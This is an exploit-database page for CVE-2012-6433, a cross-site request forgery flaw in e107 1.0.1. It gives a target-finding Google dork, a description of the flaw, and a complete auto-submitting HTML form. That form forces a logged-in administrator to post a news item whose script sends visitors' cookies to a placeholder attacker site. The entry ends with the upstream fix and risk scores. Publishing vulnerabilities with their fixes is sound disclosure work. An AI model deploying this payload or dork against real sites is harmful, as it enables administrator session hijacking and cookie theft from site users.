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e107 1.0.1 - Arbitrary JavaScript Execution (via Cross-Site Request Forgery)
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | e107 v1.0.1 CSRF Resulting in Arbitrary Javascript Execution | 2 Jan 201300:00 | – | zdt |
 | CVE-2012-6433 | 2 Jan 201300:00 | – | circl |
 | CVE-2012-6433 | 3 Jan 201311:00 | – | cve |
 | CVE-2012-6433 | 3 Jan 201311:00 | – | cvelist |
 | EUVD-2012-6286 | 7 Oct 202500:30 | – | euvd |
 | e107 1.0.1 - Arbitrary JavaScript Execution (via Cross-Site Request Forgery) | 2 Jan 201300:00 | – | exploitpack |
 | CVE-2012-6433 | 3 Jan 201311:54 | – | nvd |
 | e107 1.0.1 Administrator Cross Site Request Forgery | 1 Jan 201300:00 | – | packetstorm |
 | Cross site request forgery (csrf) | 3 Jan 201311:54 | – | prion |
 | CVE-2012-6433 | 22 May 202504:55 | – | redhatcve |
10
# Exploit Title: e107 v1.0.1 Administrator CSRF Resulting in Arbitrary Javascript Execution
# Google Dork: intext:"This site is powered by e107"
# Date: 01/01/13
# Exploit Author: Joshua Reynolds
# Vendor Homepage: http://e107.org
# Software Link: http://sourceforge.net/projects/e107/files/e107/e107%20v1.0.1/e107_1.0.1_full.tar.gz/download
# Version: 1.0.1
# Tested on: BT5R1 - Ubuntu 10.04.2 LTS
# CVE: CVE-2012-6433
------------------------------------------------------------------------------------------
Description:
A Cross-Site Request Forgery vulnerability exists in the /e107_admin/newspost.php?create
function, in which an attacker can create a malicious POST request that could be sent by a
logged in e107 Administrator (upon visiting a malicious site using an iFrame known as a
drive-by attack, or other means). This is possible since e-tokens or any other request
validation is not used during this type of request. The severity of this vulnerability
increases when the Administrator has the ability to post News Items containing javascript.
This results in an attacker having the ability to force an administrator to post any arbitrary
javascript to the front page of the e107 site. Also, once posted, the resulting page:
/e107/e107_admin/newspost.php displays the new content to the Administrator, and if this
javascript is set in the news_title POST parameter, it is executed on this page in the
context of the Administrator. This results in the ability for an attacker to use any type
of javascript attack at this point in time on the Administrator through the backend news
items, and/or on the front end to any logged in user that may visit this page. What
naturally comes to mind is session hijacking through established User/Administrator cookies.
------------------------------------------------------------------------------------------
Exploit:
<html>
<body onload="document.formCSRF.submit();">
<form method="POST" name="formCSRF" action="http://[site]/e107_admin/newspost.php?create">
<input type="hidden" name="cat_id" value="1"/>
<input type="hidden" name="news_title" value="<script>location.href='http://[evil_site]/cookiemonster.php?cookie='+document.cookie;</script>"
<input type="hidden" name="news_summary" value=""/>
<input type="hidden" name="data" value=""/>
<input type="hidden" name="news" value=""/>
<input type="hidden" name="sizeselect" value=""/>
<input type="hidden" name="preimageselect" value=""/>
<input type="hidden" name="news_extended" value=""/>
<input type="hidden" name="extended" value=""/>
<input type="hidden" name="sizeselect" value=""/>
<input type="hidden" name="preimageselect" value=""/>
<input type="hidden" name="file_userfile[]" value=""/>
<input type="hidden" name="uploadtype[]" value="resize"/>
<input type="hidden" name="resize_value" value="100"/>
<input type="hidden" name="news_allow_comments" value="0"/>
<input type="hidden" name="news_rendertype" value="0"/>
<input type="hidden" name="news_start" value=""/>
<input type="hidden" name="news_end" value=""/>
<input type="hidden" name="news_datestamp" value=""/>
<input type="hidden" name="news_userclass[0]" value="1"/>
<input type="hidden" name="news_author" value="1"/>
<input type="hidden" name="submit_news" value="Post news to database"/>
<input type="hidden" name="news_id" value=""/>
</form>
</body>
</html>
------------------------------------------------------------------------------------------
Fix:
The bug has been fixed in the following revision: r12992
Upgrade to v1.0.2
------------------------------------------------------------------------------------------
Shout outs: Red Hat Security Team, Ms. Umer, Dr. Wu, Tim Williams, friends, & family.
Contact:
Mail: [email protected]
Blog: infosec4breakfast.com
Twitter: @jershmagersh
Youtube: youtube.com/user/infosec4breakfastData
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02 Jan 2013 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 26.8
EPSS0.00343